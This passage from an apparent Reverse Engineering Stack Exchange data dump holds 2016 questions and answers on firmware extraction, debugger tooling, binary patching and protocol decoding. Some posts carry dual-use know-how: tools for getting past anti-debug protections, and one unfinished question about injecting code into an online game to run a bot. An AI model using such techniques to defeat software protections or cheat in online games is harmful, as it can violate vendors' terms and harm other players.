./src/squashfs-3.0-lzma-damn-small-variant/unsquashfs-lzma... &#xA;Trying ./src/others/squashfs-2.0-nb4/unsquashfs... &#xA;Trying ./src/others/squashfs-3.0-e2100/unsquashfs-lzma... &#xA;Trying ./src/others/squashfs-3.0-e2100/unsquashfs... &#xA;Trying ./src/others/squashfs-3.2-r2/unsquashfs... &#xA;Trying ./src/others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools/unsquashfs... &#xA;Trying ./src/others/squashfs-3.2-r2-hg612-lzma/unsquashfs... &#xA;Trying ./src/others/squashfs-3.2-r2-wnr1000/unsquashfs... &#xA;Trying ./src/others/squashfs-3.2-r2-rtn12/unsquashfs... &#xA;Trying ./src/others/squashfs-3.3/unsquashfs... &#xA;Trying ./src/others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools/unsquashfs... &#xA;Trying ./src/others/squashfs-3.3-grml-lzma/squashfs3.3/squashfs-tools/unsquashfs... &#xA;Trying ./src/others/squashfs-3.4-cisco/unsquashfs... &#xA;Trying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma... &#xA;Trying ./src/others/squashfs-3.4-nb4/unsquashfs... &#xA;Trying ./src/others/squashfs-4.2-official/unsquashfs... Parallel unsquashfs: Using 4 processors&#xA;Trying ./src/others/squashfs-4.2/unsquashfs... Parallel unsquashfs: Using 4 processors&#xA;Trying ./src/others/squashfs-4.0-lzma/unsquashfs-lzma... Parallel unsquashfs: Using 4 processors&#xA;Trying ./src/others/squashfs-4.0-realtek/unsquashfs... Skipping others/squashfs-hg55x-bin (wrong version)...&#xA;File extraction failed!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;code&gt;sasquatch&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sasquatch  -trace Modem.squashfs &#xA;squashfs: read_bytes: reading from position 0x0, bytes 32&#xA;SquashFS version [4.0] / inode count [3253] suggests a SquashFS image of the same endianess&#xA;squashfs: read_bytes: reading from position 0x0, bytes 96&#xA;squashfs: read_bytes: reading from position 0x60, bytes 2&#xA;squashfs: read_block: block @0x60, 12 uncompressed bytes&#xA;squashfs: read_bytes: reading from position 0x62, bytes 12&#xA;Parallel unsquashfs: Using 1 processor&#xA;squashfs: read_uids_guids: no_ids 1&#xA;squashfs: read_bytes: reading from position 0xe3c956, bytes 8&#xA;squashfs: read_bytes: reading from position 0x71eed2525ee8f30e, bytes 2&#xA;Lseek failed because Invalid argument&#xA;read_block: failed to read block @0x71eed2525ee8f30e&#xA;read_uids_guids: failed to read id table block&#xA;FATAL ERROR:failed to uid/gid table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But still no joy. :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer any advice or maybe point out any mistakes as I am new to this all and still learning any tips or pointers would be a great help.&lt;/p&gt;&#xA;" OwnerUserId="17555" LastEditorUserId="53" LastEditDate="2016-09-25T13:35:43.053" LastActivityDate="2016-09-27T12:57:21.213" Title="Technicolor TG799vac Modem/Router Dumping The Nand Flash" Tags="|linux|firmware|embedded|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13577" PostTypeId="1" AcceptedAnswerId="13590" CreationDate="2016-09-24T16:47:31.030" Score="1" ViewCount="5756" Body="&lt;p&gt;I'm trying to debug a windows exe that is really full of anti-debug measures. It has pretty much everything you can think of DBGuiremotebreakin, Ntsetinformationthread, NtQueryInformationProcess, the works. The only problem is that I really need to get into it. The anti-debug stuff is mixed in all throughout the code with important computations that are used for the stuff I want to see. How could I start trying to spoof the measures so I can observe register usage unfoiled?&lt;/p&gt;&#xA;" OwnerUserId="17558" LastActivityDate="2017-06-16T18:24:27.853" Title="Getting past a whole lot of anti-debug measures for a windows exe" Tags="|debuggers|anti-debugging|disassemblers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13578" PostTypeId="2" ParentId="13577" CreationDate="2016-09-24T18:44:43.060" Score="1" Body="&lt;p&gt;I think, in such cases strategy is very depend on type of anti-debug mechanisms used, sort of computations that you are looking for, and amount of time you ready to spent on this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMO you should follow this plan:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;statically analyse the binary [IDA] to map all those anti-debug features and points of interest you looking for. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if possible, try to understand those important computations without actual file execution. you can re-create them in python, run them as separate binary or emulate them with, for example, pyEmu &lt;a href=&quot;https://github.com/codypierce/pyemu&quot; rel=&quot;nofollow&quot;&gt;https://github.com/codypierce/pyemu&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if [2] was not successful, carefully make yourself thru each anti-debug feature during execution of binary under debugger. Use map you built in [1] to make it faster&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope it helps :) &lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2016-09-24T18:44:43.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13579" PostTypeId="1" CreationDate="2016-09-24T21:03:03.297" Score="0" ViewCount="233" Body="&lt;p&gt;I am running an application that just after starting, it creates a service (process hacker tool notifies me that driver_app.sys has been created). Indeed, it says that the location of driver_app.sys is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;\??\C:\Windows\system32\Drivers\driver_app.sys&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My problem is that I would like to reverse such driver, but I do not manage to find a way to get the .sys file (I cannot find it anywhere while the app is running, and when it is closed the service stops and the .sys file disappears from the list displayed by process hacker). I am just asking how to do this since I have seen some people on the Internet analyzing this kind of files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="17267" LastActivityDate="2016-09-27T13:06:31.513" Title="Get driver binary" Tags="|static-analysis|driver|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13581" PostTypeId="1" CreationDate="2016-09-25T02:54:11.567" Score="0" ViewCount="595" Body="&lt;p&gt;A co-worker gave me his mom's Linksys router that he is convinced has been hacked to include a MitM.  We could just upgrade the firmware, but that wouldn't be any fun and so I thought this might be a learning opportunity to play with Binwalk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the tutorials assume you already have a binary and I am not even sure if there is a way to non-destructively extract the firmware out of an existing router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran a full port scan on it and only TCP/80 and TCP/1783 are active...so TFTP doesn't look like an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="17565" LastActivityDate="2016-09-25T07:09:06.793" Title="How to download Linksys firmware from router" Tags="|malware|binary|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13582" PostTypeId="2" ParentId="13579" CreationDate="2016-09-25T04:52:50.007" Score="1" Body="&lt;p&gt;There are some possible reasons for that behavior.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As @tmr232 wrote you probably do not see an existing file because it is hidden. In this case enable &quot;show hidden files&quot; option in your file explorer.&lt;/li&gt;&#xA;&lt;li&gt;The file is created before the use and deleted after it. In this case I'd suggest to use one of 2 options: either try to run a script that always tries to copy this file if it exists, or try to trace the program file accesses with &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/processmonitor&quot; rel=&quot;nofollow&quot;&gt;Process Monitor&lt;/a&gt; utility from sysinternals package - this will probably show you what exactly happens with the file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2147" LastEditDate="2016-09-27T13:06:31.513" LastActivityDate="2016-09-27T13:06:31.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13583" PostTypeId="2" ParentId="13581" CreationDate="2016-09-25T06:37:47.030" Score="1" Body="&lt;p&gt;If you are able to get a shell on your router, it is possible that a good part of the read-only filesystem is stored as a squashfs file and overlaid on boot. Obtaining that, along with NVRAM settings should be a good representation of the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you have hardware access, there is a chance of a UART console in form of pads/pins on your router's PCB. Connecting that to a cheap ~$5 USB serial might allow you to pause your router early in the boot process and extract the firmware out via tftp, assuming u-boot which is very common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/&quot; rel=&quot;nofollow&quot;&gt;http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(devttys0's blog is an excellent read on router-hacking)&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2016-09-25T06:37:47.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13584" PostTypeId="2" ParentId="13581" CreationDate="2016-09-25T07:09:06.793" Score="0" Body="&lt;p&gt;The only reliable way is to use an external flasher to dump the flash chip.&#xA;Anything you read from the running router itself could be intercepted and masked by the modified firmware to appear genuine (like the old-time DOS stealth viruses did).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-09-25T07:09:06.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13585" PostTypeId="1" CreationDate="2016-09-25T13:32:53.757" Score="0" ViewCount="194" Body="&lt;p&gt;So I have a game I've been making mods for. I'd rather not reference the title here to avoid it showing up in google searches and leading people to exploits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By, default, it doesn't allow keybind changes, it is in alpha, and the dev plans to update this, but it would be nice to change that in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, my priority is disabling specific keybinds for a debug mode community members found in the game via viewing and modifying values in x32dbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was part of a project to make a modified exe that enables Debug Mode permanently, which allows map editing, something not currently otherwise possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, my partner and the lead left unexpectedly, so I, the total novice, am left to finish the last, but crucial step of the patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's currently largely complete, functioning as a perfect permanent debug mode patch, however there are certain functions attached to specific keys that allow viewing of information that's well, outright exploitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for fairness sake I'd love to disable those keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He seemed to be certain it was possible, as it was something he said he was working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I was totally following his lead, so I'm unsure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could point me in the right direction I'd really appreciate it!&lt;/p&gt;&#xA;" OwnerUserId="17569" LastActivityDate="2016-09-25T13:46:35.503" Title="Is it possible to change/disable the keybindings for a game by modifying the exe using x64db or a similar program?" Tags="|windows|x86|tools|debuggers|patching|" AnswerCount="1" CommentCount="0" ClosedDate="2016-09-27T13:08:44.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="13586" PostTypeId="2" ParentId="13585" CreationDate="2016-09-25T13:46:35.503" Score="2" Body="&lt;p&gt;it's definitely possible, as keybinding handling has to check for actual pressed key scan codes (comparing it with configured values to branch program to appropriate handler). So if you can locate this piece of code somehow, you can adjust it as you need.&#xA;Modifying comparison instructions to check for some very unlikely value, or turning one to unconditional jump will disable corresponding handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of dozens of ways how keyboard handling can be implemented in application from top of my head, thus cannot point you in specific direction locating exact piece of code you need&lt;/p&gt;&#xA;" OwnerUserId="15077" LastActivityDate="2016-09-25T13:46:35.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13587" PostTypeId="1" AcceptedAnswerId="13589" CreationDate="2016-09-25T14:34:53.277" Score="3" ViewCount="2050" Body="&lt;p&gt;I'm very very newbie in assembly / ollydbg / reverse engineering. I'm totally lost with this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a simple program in Delphi, just to explore in ollydbg. Here is the program's code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;procedure TForm1.SpeedButton1Click(Sender: TObject);&#xA;var somevalue : string;&#xA;begin&#xA;    somevalue := 'this is a value';&#xA;    showmessage(somevalue);&#xA;end;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I attached it in olly and searched for the string &quot;this is a value&quot; and reached this point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EDX, 0045212C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the address &lt;code&gt;0x45212C&lt;/code&gt; contains my string, so I decide to put another value in an empty address (I choose 00400400).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I change the code to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EDX, 400400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Access violation when writing to [004003F8]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which contains the following assembly line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOCK INC DWORD PTR DS:[EDX-8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this error mean and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="17570" LastEditorUserId="2147" LastEditDate="2016-10-01T21:05:15.203" LastActivityDate="2016-10-01T21:05:15.203" Title="Getting Access Violation when patching a program" Tags="|assembly|ollydbg|x86|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13589" PostTypeId="2" ParentId="13587" CreationDate="2016-09-25T15:23:04.790" Score="5" Body="&lt;p&gt;This error means that the processor tried to access the address at &lt;code&gt;0x004003F8&lt;/code&gt; and failed. The access type was write.&#xA;This can happen because that address's page is protected and cannot be written to, or because the address is unallocated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'ts crusial to note that the address, &lt;code&gt;0x004003F8&lt;/code&gt; is eight bytes before your chosen address (&lt;code&gt;0x00400400&lt;/code&gt;). I guess the access violation happened because that address is unallocated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best guess given the information you provided is that although the textual string starts at that specific address, it is only part of the bigger in-memory structure that begins before the actual text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually quite common, and correct for all managed/object oriented programming languages. and is indeed the cause for Delphi's &lt;code&gt;string&lt;/code&gt; objects, as described &lt;a href=&quot;http://docwiki.embarcadero.com/RADStudio/Seattle/en/Internal_Data_Formats#Long_String_Types&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; including memory representation specifics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line in which you get an access viloation is also of some interesting capacity and could be unclear to the uneducated reverser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LOCK INC DWORD PTR DS:[EDX-8]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the instruction's parts described one by one:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;LOCK&lt;/code&gt; is an instruction prefix that modifies the instruction following it, which is assumed to be preforming a read/modify/write operation. It guarantees the instruction following it is atomic, and prevents race conditions with other instructions modifying the same memory address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;INC&lt;/code&gt; has a single &lt;a href=&quot;https://en.wikipedia.org/wiki/Operand&quot; rel=&quot;nofollow&quot;&gt;operand&lt;/a&gt; (either a register or a memory address) and increases it by one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;DWORD&lt;/code&gt; marks the provided &lt;a href=&quot;https://en.wikipedia.org/wiki/Operand&quot; rel=&quot;nofollow&quot;&gt;operand&lt;/a&gt; points to a double-word value (that is, 4 bytes).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;DS:&lt;/code&gt; tells the address is in the data segment. This became quite redundant in 32 and 64 bit architectures so you can normally just ignore it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;[EDX-8]&lt;/code&gt; is the actual &lt;a href=&quot;https://en.wikipedia.org/wiki/Operand&quot; rel=&quot;nofollow&quot;&gt;operand&lt;/a&gt;, and represents &quot;the address 8 bytes before the value currently in &lt;code&gt;EDX&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-30T23:42:18.603" LastActivityDate="2016-09-30T23:42:18.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13590" PostTypeId="2" ParentId="13577" CreationDate="2016-09-25T18:35:33.553" Score="5" Body="&lt;p&gt;You can use something like Scylla Hide&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/nihilus/ScyllaHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nihilus/ScyllaHide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has plugins for most popular debuggers. It has lots of hiding options and presets for advanced packers like Themida.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try Titan Hide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/mrexodia/TitanHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mrexodia/TitanHide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13531" LastEditorUserId="13531" LastEditDate="2017-06-16T18:24:27.853" LastActivityDate="2017-06-16T18:24:27.853" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13591" PostTypeId="1" CreationDate="2016-09-25T21:10:12.807" Score="1" ViewCount="309" Body="&lt;p&gt;I'm trying to &lt;a href=&quot;http://www.hexblog.com/?p=111&quot; rel=&quot;nofollow noreferrer&quot;&gt;emulate&lt;/a&gt; a snippet of ARM assembly I have in IDA pro using QEMU. However I do not understand the output of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start debugging the firmware, windows pop up for QEMU.&#xA;However all the data in IDA turns into zeros, as can be seen in the picture below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal behavior of the program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/19zGo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/19zGo.png&quot; alt=&quot;the data is replaced by zeros&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows 8.1&lt;/li&gt;&#xA;&lt;li&gt;IDA 6.8&lt;/li&gt;&#xA;&lt;li&gt;QEMU 2.7.0 (32 bit) from &lt;a href=&quot;http://qemu.weilnetz.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://qemu.weilnetz.de/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the binary I am trying to emulate is for a device with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;armv7-m architecture&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the gdb debug configuration command line is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\Program Files (x86)\qemu/qemu-system-arm&quot; -S -gdb tcp::%p,ipv4 -kernel &quot;%e&quot; -M versatilepb -cpu cortex-a8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The initial SP is 0x20000000&#xA;and the memory map looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yA5ic.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yA5ic.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17479" LastEditorUserId="17479" LastEditDate="2016-10-03T10:52:52.333" LastActivityDate="2016-10-03T10:52:52.333" Title="All data in IDA Pro turns into zeros when using QEMU" Tags="|ida|firmware|arm|qemu|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13592" PostTypeId="2" ParentId="1392" CreationDate="2016-09-26T00:26:04.653" Score="73" Body="&lt;p&gt;I started my own gdb frontend called &lt;a href=&quot;https://github.com/cs01/gdbgui&quot; rel=&quot;noreferrer&quot;&gt;gdbgui&lt;/a&gt; which is a server (in python) that lets you access a full-featured frontend &lt;strong&gt;in your browser&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://raw.githubusercontent.com/cs01/gdbgui/master/screenshots/gdbgui_animation.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://raw.githubusercontent.com/cs01/gdbgui/master/screenshots/gdbgui_animation.gif&quot; alt=&quot;gdbgui screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Install&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pip install gdbgui --upgrade&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or download at &lt;a href=&quot;https://gdbgui.com&quot; rel=&quot;noreferrer&quot;&gt;gdbgui.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works on all platforms (Linux, macOS, and Windows) and browsers with JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Run&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdbgui&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your terminal, and your browser will open a new tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set/remove breakpoints&lt;/li&gt;&#xA;&lt;li&gt;view sourcecode, with optional inline machine code &lt;/li&gt;&#xA;&lt;li&gt;select current frame in stack&lt;/li&gt;&#xA;&lt;li&gt;step through source code or machine code&lt;/li&gt;&#xA;&lt;li&gt;create/explore variables&lt;/li&gt;&#xA;&lt;li&gt;view/select threads&lt;/li&gt;&#xA;&lt;li&gt;explore memory&lt;/li&gt;&#xA;&lt;li&gt;view registers&lt;/li&gt;&#xA;&lt;li&gt;full gdb terminal functionality so you can send traditional gdb commands, and view gdb/inferior program output&lt;/li&gt;&#xA;&lt;li&gt;layout inspired by the amazing Chrome debugger&lt;/li&gt;&#xA;&lt;li&gt;compatible with Mozilla's RR, for reverse debugging&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17575" LastEditorUserId="28285" LastEditDate="2019-11-22T23:09:51.790" LastActivityDate="2019-11-22T23:09:51.790" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="13593" PostTypeId="2" ParentId="12048" CreationDate="2016-09-26T02:06:23.517" Score="1" Body="&lt;p&gt;Folks back on the Electronics SE ( &lt;a href=&quot;https://electronics.stackexchange.com/a/257112/24681&quot;&gt;https://electronics.stackexchange.com/a/257112/24681&lt;/a&gt; ) have cracked the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are, in fact, 8 bytes of data in a message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last byte(8) is an XOR checksum -- that is, XOR-ing all the bytes including it yields 0xFF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The three bytes just before the checksum(5-7) are the temperature in Celsius, but encoded a little strangely -- of each byte, the low nibble (4-bits) is temperature data and the high bit (of the high nibble) is used to give the whole byte even parity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first two bits of the whole message are the station code (A=00, B=01, C=10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remaining bits are still unknown, but I haven't seen them change, either. They might be low-battery &amp;amp; product ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1000011110011000110000000000000000000000100011100000001110101101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;breaks into bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10000111 10011000 11000000 00000000 00000000 10001110 00000011 10101101&#xA;^^-- station &quot;C&quot;                                               ^^^^^^^^-- checksum&#xA;                       temperature--^^^^^^^^-^^^^^^^^-^^^^^^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the temperature is encoded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                    00000000 10001110 00000011&#xA;        even parity for each byte --^--------^--------^&#xA;                                        ^^^^-----^^^^-----^^^^-- data (0E3h)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0E3h&lt;/code&gt; is &lt;code&gt;227d&lt;/code&gt;, which is simply &lt;code&gt;22.7°C&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15076" LastEditorUserId="-1" LastEditDate="2017-04-13T12:33:10.963" LastActivityDate="2016-09-26T02:06:23.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13594" PostTypeId="2" ParentId="1817" CreationDate="2016-09-26T07:12:32.157" Score="11" Body="&lt;p&gt;Just for completeness: one more disassembler, &lt;a href=&quot;https://binary.ninja/&quot;&gt;Binary Ninja&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for now (9/26/2016) it has the following properties:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Commercial ($99 as introductory price for personal use license)&lt;/li&gt;&#xA;&lt;li&gt;Handles x86, x64, ARMv7-8, MIPS and 6502 architectures&lt;/li&gt;&#xA;&lt;li&gt;Works on Linux, Mac OsX and Windows&lt;/li&gt;&#xA;&lt;li&gt;Supports PE/COFF, ELF, .NES and Mach-O&lt;/li&gt;&#xA;&lt;li&gt;Has python API&lt;/li&gt;&#xA;&lt;li&gt;Has Undo&lt;/li&gt;&#xA;&lt;li&gt;Has IL&lt;/li&gt;&#xA;&lt;li&gt;Has a lot of other cool features&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-09-26T07:18:01.207" LastActivityDate="2016-09-26T07:18:01.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13598" PostTypeId="2" ParentId="13575" CreationDate="2016-09-27T09:28:15.033" Score="0" Body="&lt;p&gt;I recommend you to try to find out, &lt;em&gt;why&lt;/em&gt; unsquashing does fail. As you can read in &lt;code&gt;sasquatch&lt;/code&gt; README:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The sasquatch project is a set of patches to the standard unsquashfs utility (part of squashfs-tools) that attempts to add support for as many hacked-up vendor-specific SquashFS implementations as possible.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you might just found an unsupported implementation. Try to find, why &lt;code&gt;sasquatch&lt;/code&gt; is failing to Lseek. Read the squashfs design papers. Maybe the structures was adjusted, and you just need to change the offset to some pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what reverse engineering is about. Digging in the code. Not blindly using someone else's tools :)&lt;/p&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2016-09-27T09:28:15.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13599" PostTypeId="1" AcceptedAnswerId="13600" CreationDate="2016-09-27T10:35:17.590" Score="1" ViewCount="1841" Body="&lt;p&gt;I am messing around with a game made with CryEngine. It's a MMORPG, but I found out that I can manipulate the X/Y/Z coordinates of my character through cheat engine. And I also found out that I can switch the targeted enemy by changing a value in my memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This game is made up by a launcher.exe and many dlls. One of them is called CryGame.dll in which is most of the game code I guess.&#xA;I made a pointer scan on the memory which saves the targeted enemy, but most pointer chains which store my desired memoryregion are saved in the CryGame.dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to my question: Is it possible to inject code into the CryGame.dll or something similar in order to get this memory region and manipulate it (I am trying to make a simple bot for myself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does anybody have another idea how to get this value? Normally I would simply make a dll injection into the games process and manipulate it, but since this game is made up of dlls, I can't really hook functions, since dlls change address after every reboot of the game, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope 